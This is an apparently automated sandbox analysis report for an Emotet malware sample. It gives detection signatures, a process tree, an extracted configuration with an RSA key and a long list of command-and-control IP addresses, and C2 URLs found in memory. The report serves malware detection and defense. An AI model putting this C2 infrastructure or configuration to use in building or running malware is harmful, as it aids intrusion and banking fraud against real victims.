Play interactive tour

Edit tour

Windows Analysis Report mormanti.exe

Overview

General Information

Sample Name:	mormanti.exe
Analysis ID:	449959
MD5:	6c94edfea6e5ee001b00122c9d01bd8a
SHA1:	a8d0cc5088ee86c2be77afe157695d12e951f369
SHA256:	0154d1d06e755bda091168038f25c1dde101e3b77c66f88b73c71be84ffdaf6e
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Emotet

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides that the sample has been downloaded from the Internet (zone.identifier)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to several IPs in different countries

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files to the windows directory (C:\Windows)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

mormanti.exe (PID: 3412 cmdline: 'C:\Users\user\Desktop\mormanti.exe' MD5: 6C94EDFEA6E5EE001B00122C9D01BD8A)

eventvwr.exe (PID: 2416 cmdline: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe MD5: 6C94EDFEA6E5EE001B00122C9D01BD8A)

svchost.exe (PID: 3148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 384 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2168 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4744 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4880 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1276 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4936 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5588 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 3468 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 2648 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4820 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB", "C2 list": ["58.171.153.81:80", "104.131.103.128:443", "66.228.49.173:8080", "104.131.103.37:8080", "149.62.173.247:8080", "72.47.248.48:7080", "68.183.170.114:8080", "81.198.69.61:80", "217.13.106.14:8080", "77.90.136.129:8080", "217.199.160.224:7080", "178.79.163.131:8080", "2.47.112.152:80", "83.169.21.32:7080", "190.163.31.26:80", "185.94.252.27:443", "12.162.84.2:8080", "73.116.193.136:80", "177.72.13.80:80", "116.125.120.88:443", "213.181.91.224:80", "104.131.41.185:8080", "46.28.111.142:7080", "181.129.96.162:8080", "189.2.177.210:443", "111.67.12.221:8080", "189.194.58.119:80", "51.255.165.160:8080", "170.81.48.2:80", "177.74.228.34:80", "70.32.84.74:8080", "213.60.96.117:80", "186.250.52.226:8080", "70.32.115.157:8080", "190.190.148.27:8080", "204.225.249.100:7080", "192.241.143.52:8080", "202.62.39.111:80", "82.76.111.249:443", "190.147.137.153:443", "80.249.176.206:80", "91.219.169.180:80", "212.71.237.140:8080", "114.109.179.60:80", "5.196.35.138:7080", "87.106.46.107:8080", "190.6.193.152:8080", "172.104.169.32:8080", "186.103.141.250:443", "212.231.60.98:80", "147.91.184.91:80", "50.28.51.143:8080", "61.92.159.208:8080", "187.162.248.237:80", "191.182.6.118:80", "94.206.45.18:80", "219.92.13.25:80", "145.236.8.174:80", "89.32.150.160:8080", "93.151.186.85:80", "190.17.195.202:80", "181.120.79.227:80", "177.73.0.98:443", "192.241.146.84:8080", "217.160.182.191:8080", "68.183.190.199:8080", "137.74.106.111:7080", "177.144.135.2:80", "201.213.156.176:80", "82.196.15.205:8080", "104.236.161.64:8080", "209.236.123.42:8080", "77.55.211.77:8080", "177.66.190.130:80", "143.0.87.101:80", "94.176.234.118:443", "191.99.160.58:80", "185.94.252.12:80", "45.161.242.102:80", "181.36.42.205:443"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.465228013.0000000001140000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.465253689.0000000001151000.00000020.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.mormanti.exe.2db053f.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.eventvwr.exe.114053f.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.mormanti.exe.2db053f.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.eventvwr.exe.114053f.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: mormanti.exe

Avira: detected

Found malware configuration

Show sources

Source: 0.2.mormanti.exe.2db053f.1.raw.unpack

Malware Configuration Extractor: Emotet {"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB", "C2 list": ["58.171.153.81:80", "104.131.103.128:443", "66.228.49.173:8080", "104.131.103.37:8080", "149.62.173.247:8080", "72.47.248.48:7080", "68.183.170.114:8080", "81.198.69.61:80", "217.13.106.14:8080", "77.90.136.129:8080", "217.199.160.224:7080", "178.79.163.131:8080", "2.47.112.152:80", "83.169.21.32:7080", "190.163.31.26:80", "185.94.252.27:443", "12.162.84.2:8080", "73.116.193.136:80", "177.72.13.80:80", "116.125.120.88:443", "213.181.91.224:80", "104.131.41.185:8080", "46.28.111.142:7080", "181.129.96.162:8080", "189.2.177.210:443", "111.67.12.221:8080", "189.194.58.119:80", "51.255.165.160:8080", "170.81.48.2:80", "177.74.228.34:80", "70.32.84.74:8080", "213.60.96.117:80", "186.250.52.226:8080", "70.32.115.157:8080", "190.190.148.27:8080", "204.225.249.100:7080", "192.241.143.52:8080", "202.62.39.111:80", "82.76.111.249:443", "190.147.137.153:443", "80.249.176.206:80", "91.219.169.180:80", "212.71.237.140:8080", "114.109.179.60:80", "5.196.35.138:7080", "87.106.46.107:8080", "190.6.193.152:8080", "172.104.169.32:8080", "186.103.141.250:443", "212.231.60.98:80", "147.91.184.91:80", "50.28.51.143:8080", "61.92.159.208:8080", "187.162.248.237:80", "191.182.6.118:80", "94.206.45.18:80", "219.92.13.25:80", "145.236.8.174:80", "89.32.150.160:8080", "93.151.186.85:80", "190.17.195.202:80", "181.120.79.227:80", "177.73.0.98:443", "192.241.146.84:8080", "217.160.182.191:8080", "68.183.190.199:8080", "137.74.106.111:7080", "177.144.135.2:80", "201.213.156.176:80", "82.196.15.205:8080", "104.236.161.64:8080", "209.236.123.42:8080", "77.55.211.77:8080", "177.66.190.130:80", "143.0.87.101:80", "94.176.234.118:443", "191.99.160.58:80", "185.94.252.12:80", "45.161.242.102:80", "181.36.42.205:443"]}

Multi AV Scanner detection for submitted file

Show sources

Source: mormanti.exe	Virustotal: Detection: 74%			Perma Link
Source: mormanti.exe	ReversingLabs: Detection: 82%

Source: mormanti.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\mormanti.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9415_none_508df7e2bcbccb90\MSVCR90.dll

Jump to behavior

Source: mormanti.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb` source: mormanti.exe, 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp, eventvwr.exe, 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp
Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb`@ source: mormanti.exe
Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb source: mormanti.exe

Source: C:\Users\user\Desktop\mormanti.exe

Code function: 0_2_02DC2871 FindFirstFileW,FindNextFileW,FindClose,

0_2_02DC2871

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 486 ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited 104.131.103.37: -> 192.168.2.3:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 58.171.153.81:80
Source: Malware configuration extractor	IPs: 104.131.103.128:443
Source: Malware configuration extractor	IPs: 66.228.49.173:8080
Source: Malware configuration extractor	IPs: 104.131.103.37:8080
Source: Malware configuration extractor	IPs: 149.62.173.247:8080
Source: Malware configuration extractor	IPs: 72.47.248.48:7080
Source: Malware configuration extractor	IPs: 68.183.170.114:8080
Source: Malware configuration extractor	IPs: 81.198.69.61:80
Source: Malware configuration extractor	IPs: 217.13.106.14:8080
Source: Malware configuration extractor	IPs: 77.90.136.129:8080
Source: Malware configuration extractor	IPs: 217.199.160.224:7080
Source: Malware configuration extractor	IPs: 178.79.163.131:8080
Source: Malware configuration extractor	IPs: 2.47.112.152:80
Source: Malware configuration extractor	IPs: 83.169.21.32:7080
Source: Malware configuration extractor	IPs: 190.163.31.26:80
Source: Malware configuration extractor	IPs: 185.94.252.27:443
Source: Malware configuration extractor	IPs: 12.162.84.2:8080
Source: Malware configuration extractor	IPs: 73.116.193.136:80
Source: Malware configuration extractor	IPs: 177.72.13.80:80
Source: Malware configuration extractor	IPs: 116.125.120.88:443
Source: Malware configuration extractor	IPs: 213.181.91.224:80
Source: Malware configuration extractor	IPs: 104.131.41.185:8080
Source: Malware configuration extractor	IPs: 46.28.111.142:7080
Source: Malware configuration extractor	IPs: 181.129.96.162:8080
Source: Malware configuration extractor	IPs: 189.2.177.210:443
Source: Malware configuration extractor	IPs: 111.67.12.221:8080
Source: Malware configuration extractor	IPs: 189.194.58.119:80
Source: Malware configuration extractor	IPs: 51.255.165.160:8080
Source: Malware configuration extractor	IPs: 170.81.48.2:80
Source: Malware configuration extractor	IPs: 177.74.228.34:80
Source: Malware configuration extractor	IPs: 70.32.84.74:8080
Source: Malware configuration extractor	IPs: 213.60.96.117:80
Source: Malware configuration extractor	IPs: 186.250.52.226:8080
Source: Malware configuration extractor	IPs: 70.32.115.157:8080
Source: Malware configuration extractor	IPs: 190.190.148.27:8080
Source: Malware configuration extractor	IPs: 204.225.249.100:7080
Source: Malware configuration extractor	IPs: 192.241.143.52:8080
Source: Malware configuration extractor	IPs: 202.62.39.111:80
Source: Malware configuration extractor	IPs: 82.76.111.249:443
Source: Malware configuration extractor	IPs: 190.147.137.153:443
Source: Malware configuration extractor	IPs: 80.249.176.206:80
Source: Malware configuration extractor	IPs: 91.219.169.180:80
Source: Malware configuration extractor	IPs: 212.71.237.140:8080
Source: Malware configuration extractor	IPs: 114.109.179.60:80
Source: Malware configuration extractor	IPs: 5.196.35.138:7080
Source: Malware configuration extractor	IPs: 87.106.46.107:8080
Source: Malware configuration extractor	IPs: 190.6.193.152:8080
Source: Malware configuration extractor	IPs: 172.104.169.32:8080
Source: Malware configuration extractor	IPs: 186.103.141.250:443
Source: Malware configuration extractor	IPs: 212.231.60.98:80
Source: Malware configuration extractor	IPs: 147.91.184.91:80
Source: Malware configuration extractor	IPs: 50.28.51.143:8080
Source: Malware configuration extractor	IPs: 61.92.159.208:8080
Source: Malware configuration extractor	IPs: 187.162.248.237:80
Source: Malware configuration extractor	IPs: 191.182.6.118:80
Source: Malware configuration extractor	IPs: 94.206.45.18:80
Source: Malware configuration extractor	IPs: 219.92.13.25:80
Source: Malware configuration extractor	IPs: 145.236.8.174:80
Source: Malware configuration extractor	IPs: 89.32.150.160:8080
Source: Malware configuration extractor	IPs: 93.151.186.85:80
Source: Malware configuration extractor	IPs: 190.17.195.202:80
Source: Malware configuration extractor	IPs: 181.120.79.227:80
Source: Malware configuration extractor	IPs: 177.73.0.98:443
Source: Malware configuration extractor	IPs: 192.241.146.84:8080
Source: Malware configuration extractor	IPs: 217.160.182.191:8080
Source: Malware configuration extractor	IPs: 68.183.190.199:8080
Source: Malware configuration extractor	IPs: 137.74.106.111:7080
Source: Malware configuration extractor	IPs: 177.144.135.2:80
Source: Malware configuration extractor	IPs: 201.213.156.176:80
Source: Malware configuration extractor	IPs: 82.196.15.205:8080
Source: Malware configuration extractor	IPs: 104.236.161.64:8080
Source: Malware configuration extractor	IPs: 209.236.123.42:8080
Source: Malware configuration extractor	IPs: 77.55.211.77:8080
Source: Malware configuration extractor	IPs: 177.66.190.130:80
Source: Malware configuration extractor	IPs: 143.0.87.101:80
Source: Malware configuration extractor	IPs: 94.176.234.118:443
Source: Malware configuration extractor	IPs: 191.99.160.58:80
Source: Malware configuration extractor	IPs: 185.94.252.12:80
Source: Malware configuration extractor	IPs: 45.161.242.102:80
Source: Malware configuration extractor	IPs: 181.36.42.205:443

Source: unknown

Network traffic detected: IP country count 34

Source: global traffic	TCP traffic: 192.168.2.3:49728 -> 66.228.49.173:8080
Source: global traffic	TCP traffic: 192.168.2.3:49734 -> 104.131.103.37:8080
Source: global traffic	TCP traffic: 192.168.2.3:49740 -> 149.62.173.247:8080
Source: global traffic	TCP traffic: 192.168.2.3:49741 -> 72.47.248.48:7080
Source: global traffic	TCP traffic: 192.168.2.3:49744 -> 68.183.170.114:8080

Source: Joe Sandbox View	IP Address: 149.62.173.247 149.62.173.247
Source: Joe Sandbox View	IP Address: 204.225.249.100 204.225.249.100

Source: Joe Sandbox View	ASN Name: INFORTELECOM-ASES INFORTELECOM-ASES
Source: Joe Sandbox View	ASN Name: CLAROSABR CLAROSABR
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: unknown	TCP traffic detected without corresponding DNS query: 58.171.153.81
Source: unknown	TCP traffic detected without corresponding DNS query: 58.171.153.81
Source: unknown	TCP traffic detected without corresponding DNS query: 58.171.153.81
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.128
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.128
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.128
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.49.173
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.49.173
Source: unknown	TCP traffic detected without corresponding DNS query: 66.228.49.173
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.37
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.37
Source: unknown	TCP traffic detected without corresponding DNS query: 104.131.103.37
Source: unknown	TCP traffic detected without corresponding DNS query: 149.62.173.247
Source: unknown	TCP traffic detected without corresponding DNS query: 149.62.173.247
Source: unknown	TCP traffic detected without corresponding DNS query: 149.62.173.247
Source: unknown	TCP traffic detected without corresponding DNS query: 72.47.248.48
Source: unknown	TCP traffic detected without corresponding DNS query: 72.47.248.48
Source: unknown	TCP traffic detected without corresponding DNS query: 72.47.248.48
Source: unknown	TCP traffic detected without corresponding DNS query: 68.183.170.114
Source: unknown	TCP traffic detected without corresponding DNS query: 68.183.170.114
Source: unknown	TCP traffic detected without corresponding DNS query: 68.183.170.114

Source: eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp	String found in binary or memory: http://104.131.103.128:443/iNVKl1XPWZqml34fy2r/3FDoguFdfDtjz/
Source: eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp	String found in binary or memory: http://149.62.173.247/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV8xFle
Source: eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp	String found in binary or memory: http://149.62.173.247:8080/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV
Source: eventvwr.exe, 00000002.00000003.334412522.00000000034DC000.00000004.00000001.sdmp	String found in binary or memory: http://58.171.153.81/j4XmHhlvX7h4pe/uu11HumRcyQn/3XzJ/ymPM07W/vKmfGodTznrrD/
Source: eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	String found in binary or memory: http://66.228.49.173/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/
Source: eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	String found in binary or memory: http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/
Source: eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	String found in binary or memory: http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/s(KF
Source: eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://68.183.170.114/nFzrf7w0/EO2pZ/MQ0xve/
Source: eventvwr.exe, 00000002.00000002.466095172.0000000002ED6000.00000004.00000001.sdmp, eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/
Source: eventvwr.exe, 00000002.00000002.466095172.0000000002ED6000.00000004.00000001.sdmp	String found in binary or memory: http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/:
Source: eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/c
Source: eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/
Source: eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/6O
Source: eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	String found in binary or memory: http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/CL:
Source: svchost.exe, 00000006.00000002.466542718.0000022B0E414000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: svchost.exe, 00000006.00000002.466542718.0000022B0E414000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: svchost.exe, 00000006.00000002.466542718.0000022B0E414000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: svchost.exe, 00000006.00000002.465692005.0000022B08EA3000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/
Source: svchost.exe, 00000006.00000002.466806888.0000022B0E690000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: svchost.exe, 0000000E.00000002.309089370.00000265B8A13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000B.00000002.465372736.000001C4AD22A000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000002.309177417.00000265B8A58000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	String found in binary or memory: https://fs.microsoft.c
Source: svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.309089370.00000265B8A13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000E.00000003.308721293.00000265B8A3A000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.2.mormanti.exe.2db053f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.eventvwr.exe.114053f.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mormanti.exe.2db053f.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.eventvwr.exe.114053f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.465228013.0000000001140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.465253689.0000000001151000.00000020.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\mormanti.exe

File created: C:\Windows\SysWOW64\msmpeg2vdec\

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

File deleted: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe:Zone.Identifier

Jump to behavior

